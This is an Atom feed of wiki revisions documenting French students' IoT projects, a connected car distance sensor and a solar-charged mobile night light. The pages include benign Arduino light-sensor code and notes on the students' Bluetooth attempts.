<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Bhagui</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Bhagui"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Bhagui"/>
		<updated>2026-04-25T03:04:23Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P5_IOT_2017&amp;diff=46892</id>
		<title>P5 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P5_IOT_2017&amp;diff=46892"/>
				<updated>2018-01-24T17:19:37Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Rendu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
Nous effectuons ce projet dans le cadre du module internet des objets (Internet of things). &lt;br /&gt;
L'objectif de ce module est de créer un objet connecté de notre choix.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
Combiné avec une application sur smartphone, le capteur de voiture connecté permettra d'effectuer les actions suivantes:&lt;br /&gt;
 Détecter la distance entre sa voiture et celle de derrière&lt;br /&gt;
 Si la distance de sécurité n'est pas respectée, affichage d'un message personnalisé (après confirmation par le conducteur)&lt;br /&gt;
 Calcul de la distance de sécurité que la voiture de derrière doit respecter en fonction de la vitesse du véhicule (Détection GPS)&lt;br /&gt;
 Aide à la manœuvre en marche-arrière (Détection d’obstacle)+ Signal sonore&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Matériel 1&lt;br /&gt;
* Matériel 2&lt;br /&gt;
* ...&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
Exemple d'inclusion d'image :&lt;br /&gt;
[[Fichier:2017_IOT_P0_circuit.png|center|400px|Un circuit]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P5_poster.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:2017_IOT_P5_poster.png&amp;diff=46891</id>
		<title>Fichier:2017 IOT P5 poster.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:2017_IOT_P5_poster.png&amp;diff=46891"/>
				<updated>2018-01-24T17:18:50Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P5_IOT_2017&amp;diff=46889</id>
		<title>P5 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P5_IOT_2017&amp;diff=46889"/>
				<updated>2018-01-24T17:18:22Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Poster */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
Nous effectuons ce projet dans le cadre du module internet des objets (Internet of things). &lt;br /&gt;
L'objectif de ce module est de créer un objet connecté de notre choix.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
Combiné avec une application sur smartphone, le capteur de voiture connecté permettra d'effectuer les actions suivantes:&lt;br /&gt;
 Détecter la distance entre sa voiture et celle de derrière&lt;br /&gt;
 Si la distance de sécurité n'est pas respectée, affichage d'un message personnalisé (après confirmation par le conducteur)&lt;br /&gt;
 Calcul de la distance de sécurité que la voiture de derrière doit respecter en fonction de la vitesse du véhicule (Détection GPS)&lt;br /&gt;
 Aide à la manœuvre en marche-arrière (Détection d’obstacle)+ Signal sonore&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Matériel 1&lt;br /&gt;
* Matériel 2&lt;br /&gt;
* ...&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
Exemple d'inclusion d'image :&lt;br /&gt;
[[Fichier:2017_IOT_P0_circuit.png|center|400px|Un circuit]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
[[Fichier:]]==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P5_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46850</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46850"/>
				<updated>2018-01-23T23:42:30Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la cinquième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
* Raspberry Pi&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression de la carte et code Mindstorm&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
Pour la liaison entre la communication nous allons utilisé une Raspberry Pi3 qui est équipé d'un module bluetooth. L'Arduino s'occupera de mesurer l'intensité de lumière et envoi des données à la Raspberry Pi par le port série, ensuite la Raspberry enverra des commandes au Mindstorm par Bluetooth. Durant cette séance nous avons pris en main une Raspberry pour installer Raspian dessus, configurer son fichier &amp;quot;interfaces&amp;quot; pour avoir une connexion internet pour télécharger des éléments pour faire marcher la communication Bluetooth. Nous avons essayé durant cette séance d'utiliser la commande &amp;quot;bluetoothctl&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
En parallèle de la programmation, il a fallu concevoir le circuit permettant de faire la liaison entre panneau solaire et la batterie, à la fin de la séance, il a donc été décidé de reprendre nous même le circuit qui allait jouer ce rôle.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery widths=&amp;quot;500px&amp;quot; heights=&amp;quot;600px&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:carte_veilleuse.png|Photo 1 : Circuit qui a été réalisé durant la séance&lt;br /&gt;
Fichier:circuit_veilleuse.png|Photo 2 : Circuit à réaliser&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Le but était donc de réaliser le même circuit que l'on peut voir sur la deuxième photo et c'est ce qui a été réalisé comme on peut le voir sur la première photo.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas réussi à réaliser une communication entre nos deux composants avec bluetoothctl, durant cette séance nous avons essayé avec le module &amp;quot;pybluez&amp;quot;. Malheureusement cela n'as pas marché.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Nous avons eu accès durant cette séance à un code utilisé pour faire communiquer une Foxboard et le Mindstorm, ayant quelques soucis à le prendre en main et le tester, nous avons mis cette tâche en attente pour utiliser un capteur lumière du Mindstorm pour réaliser un prototype(ou presque) à montrer durant la présentation. &lt;br /&gt;
[[Fichier:Mindstorm_code.jpg|800px|center|Code Mindstorm]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P4_poster.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46849</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46849"/>
				<updated>2018-01-23T23:38:11Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la quatrième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
* Raspberry Pi&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | Utilisation de Fritzing pour réaliser le circuit reliant le panneau photovoltaïque à la batterie &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | Finition du circuit sur Fritzing&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | Impression de la carte et code Mindstorm&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | Soutenance et présentation de notre projet au reste du groupe de module&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
